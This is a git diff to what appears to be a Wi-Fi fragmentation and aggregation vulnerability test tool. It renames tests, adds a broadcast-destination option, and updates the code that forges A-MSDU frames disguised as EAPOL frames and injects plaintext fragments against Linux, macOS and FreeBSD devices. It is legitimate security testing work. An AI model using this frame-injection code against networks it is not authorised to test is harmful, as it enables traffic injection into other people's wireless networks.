diff --git a/research/README.md b/research/README.md index 2ffb4a509..e45c74c63 100644 --- a/research/README.md +++ b/research/README.md @@ -190,12 +190,12 @@ and the other tests are useful to understand the behaviour of the device under t | | ping I,P | Send a plaintext ping. | | ping I,P,P | Send a fragmented ping: both fragments are sent in plaintext. | **Linux Plain/Enc** | linux-plain | Mixed plaintext/encrypted fragmentation attack specific to Linux. -| **EAPOL A-MSDU** | eapol-msdu BB | Send A-MSDU frame disguised as EAPOL frame. Run tcpdump on target to check if vulnerable. -| | eapol-msdu I,CC | Same as above, except the frame is injected after being connected and obtaining an IP. -| | eapol-msdu M,BB | Send a malformed A-MSDU frame disguised as EAPOL frame. Use tcpdump to check if vulnerable. -| | eapol-msdu M,I,CC | Same as above, except the frame is injected after being connected and obtaining an IP. +| **EAPOL A-MSDU** | eapol-amsdu BB | Send A-MSDU frame disguised as EAPOL frame. Run tcpdump on target to check if vulnerable. +| | eapol-amsdu I,CC | Same as above, except the frame is injected after being connected and obtaining an IP. +| | eapol-amsdu M,BB | Send a malformed A-MSDU frame disguised as EAPOL frame. Use tcpdump to check if vulnerable. +| | eapol-amsdu M,I,CC | Same as above, except the frame is injected after being connected and obtaining an IP. | **MacOS Plain Inject** | macos BB | Fragmented EAPOL attack (notably works against MacOS). Run tcpdump on target to check if vulnerable. -| **Broadcast ping** | ping I,D,P --bcast | Send ping inside the second plaintext fragment of a broadcast Wi-Fi frame (no 1st fragment is sent). +| **Broadcast ping** | ping I,D,P --bcast-ra | Send ping inside the second plaintext fragment of a broadcast Wi-Fi frame (no 1st fragment is sent). Optionally you can also run more advanced tests. These have a lower chance of uncovering vulnerabilities, but against more exotic implementations that might work (while the above tests could fail). @@ -209,11 +209,13 @@ but against more exotic implementations that might work (while the above tests c | | ping I,R,BE,AE --freebsd | Mixed key attack against FreeBSD | **Mixed Plain/Enc** | ping I,E,P,E | Send a fragmented ping: first fragment encrypted, second plaintext, third encrypted. | | linux-plain 3 | Mixed plaintext/encrypted fragmentation attack, decoy fragment is sent using QoS TID 3. -| **EAPOL A-MSDU** | eapol-msdu SS | -| | eapol-msdu AA | +| **EAPOL A-MSDU** | eapol-amsdu [M,]BB --bcast-dst | Same as "eapol-amsdu [M,]BB" but ping is broadcasted. To test AP, check if a 2nd client receives the ping. +| | eapol-amsdu [M,]I,CC --bcast-dst| Same as "eapol-amsdu [M,]I,CC" but ping is broadcasted. To test AP, check if a 2nd client receives the ping. +| | eapol-amsdu SS | +| | eapol-amsdu AA | | **MacOS Plain Inject** | macos CC | Fragmented EAPOL attack (notably works against MacOS). Run tcpdump on target to check if vulnerable. -| **Broadcast ping** | ping I,P,P --bcast | Send ping inside two plaintext fragments of a broadcast Wi-Fi frame. -| | ping I,P --bcast | Send ping inside a plaintext broadcast Wi-Fi frame. +| **Broadcast ping** | ping I,P,P --bcast-ra | Send ping inside two plaintext fragments of a broadcast Wi-Fi frame. +| | ping I,P --bcast-ra | Send ping inside a plaintext broadcast Wi-Fi frame. Details remarks: diff --git a/research/fragattack.py b/research/fragattack.py index a41be7efd..a49c921e8 100755 --- a/research/fragattack.py +++ b/research/fragattack.py @@ -99,7 +99,7 @@ def prepare_tests(opt): actions = [Action(Action.StartAuth, enc=False), Action(Action.StartAuth, enc=False)] - test = EapolAmsduTest(REQ_ICMP, actions, freebsd) + test = EapolAmsduTest(REQ_ICMP, actions, freebsd, opt) elif opt.testname == "linux-plain": decoy_tid = None if stractions == None else int(stractions) @@ -112,7 +112,7 @@ def prepare_tests(opt): actions = [Action(Action.StartAuth, enc=False), Action(Action.StartAuth, enc=False)] - test = MacOsTest(REQ_ICMP, actions) + test = MacOsTest(REQ_ICMP, actions, opt.bcast_dst) elif opt.testname == "qca-test": test = QcaDriverTest() @@ -212,7 +212,8 @@ if __name__ == "__main__": parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.") parser.add_argument('--rekey-early-install', default=False, action='store_true', help="Install PTK after sending Msg3 during rekey.") parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.") - parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address (addr1).") + parser.add_argument('--bcast-ra', default=False, action='store_true', help="Send pings using broadcast *receiver* address (= addr1).") + parser.add_argument('--bcast-dst', default=False, action='store_true', help="Send pings using broadcast *destination* when to AP ().") parser.add_argument('--pn-per-qos', default=False, action='store_true', help="Use separate Tx packet counter for each QoS TID.") parser.add_argument('--freebsd-cache', default=False, action='store_true', help="Sent EAP(OL) frames as (malformed) broadcast EAPOL/A-MSDUs.") parser.add_argument('--connected-delay', type=int, default=1, help="Second to wait after AfterAuth before triggering Connected event") diff --git a/research/tests_common.py b/research/tests_common.py index e7bb1c7f5..c968d497c 100644 --- a/research/tests_common.py +++ b/research/tests_common.py @@ -6,7 +6,8 @@ class PingTest(Test): self.ptype = ptype self.separate_with = separate_with - self.bcast = False if opt == None else opt.bcast + self.bcast_ra = False if opt == None else opt.bcast_ra + self.bcast_dst = False if opt == None else opt.bcast_dst self.as_msdu = False if opt == None else opt.as_msdu self.icmp_size = None if opt == None else opt.icmp_size self.padding = None if opt == None else opt.padding @@ -44,8 +45,13 @@ class PingTest(Test): # Assign frames to the existing fragment objects for frag, frame in zip(self.get_actions(Action.Inject), frames): - if self.bcast: + if self.bcast_ra: frame.addr1 = "ff:ff:ff:ff:ff:ff" + if self.bcast_dst: + if header.FCfield & Dot11(FCfield="to-DS").FCfield != 0: + frame.addr3 = "ff:ff:ff:ff:ff:ff" + else: + frame.addr1 = "ff:ff:ff:ff:ff:ff" # Assign fragment numbers according to MetaDrop rules frame.SC = (frame.SC & 0xfff0) | fragnums.pop(0) @@ -127,9 +133,10 @@ class MacOsTest(Test): """ See docs/macoxs-reversing.md for background on the attack. """ - def __init__(self, ptype, actions): + def __init__(self, ptype, actions, bcast_dst): super().__init__(actions) self.ptype = ptype + self.bcast_dst = bcast_dst def prepare(self, station): # First fragment is the start of an EAPOL frame @@ -146,6 +153,12 @@ class MacOsTest(Test): frag2.SC |= 1 frag2.addr1 = "ff:ff:ff:ff:ff:ff" + # Practically all APs will not process frames with a broadcast receiver address, unless + # they are operating in client mode. But to test APs without tcpdump anyway, allow the + # ping to be send to a broadcast destination, so other STAs can monitor for it. + if self.bcast_dst and frag2.FCfield & Dot11(FCfield="to-DS").FCfield != 0: + frag2.addr3 = "ff:ff:ff:ff:ff:ff" + self.actions[0].frame = frag1 self.actions[1].frame = frag2 @@ -175,10 +188,11 @@ class EapolTest(Test): class EapolAmsduTest(Test): - def __init__(self, ptype, actions, freebsd=False): + def __init__(self, ptype, actions, freebsd=False, opt=None): super().__init__(actions) self.ptype = ptype self.freebsd = freebsd + self.bcast_dst = False if opt == None else opt.bcast_dst def prepare(self, station): log(STATUS, "Generating ping test", color="green") @@ -190,14 +204,27 @@ class EapolAmsduTest(Test): # Testing #header.addr2 = "00:11:22:33:44:55" + mac_src = station.mac + mac_dst = station.get_peermac() + if self.bcast_dst: + mac_dst = "ff:ff:ff:ff:ff:ff" + # Masquerade A-MSDU frame as an EAPOL frame if self.freebsd: log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD treats as valid") - request = freebsd_create_eapolmsdu(station.mac, station.get_peermac(), request) + request = freebsd_create_eapolmsdu(mac_src, mac_dst, request) else: - request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(station.mac, station.get_peermac(), request) + request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(mac_src, mac_dst, request) frames = create_fragments(header, request, 1) + toinject = frames[0] + + # Make sure addr1/3 matches the destination address in the A-MSDU subframe(s) + if self.bcast_dst: + if toinject.FCfield & Dot11(FCfield="to-DS").FCfield != 0: + toinject.addr3 = "ff:ff:ff:ff:ff:ff" + else: + toinject.addr1 = "ff:ff:ff:ff:ff:ff" # XXX Where was this needed again? auth = Dot11()/Dot11Auth(status=0, seqnum=1) @@ -205,6 +232,6 @@ class EapolAmsduTest(Test): auth.addr2 = "00:11:22:33:44:55" self.actions[0].frame = auth - self.actions[1].frame = frames[0] + self.actions[1].frame = toinject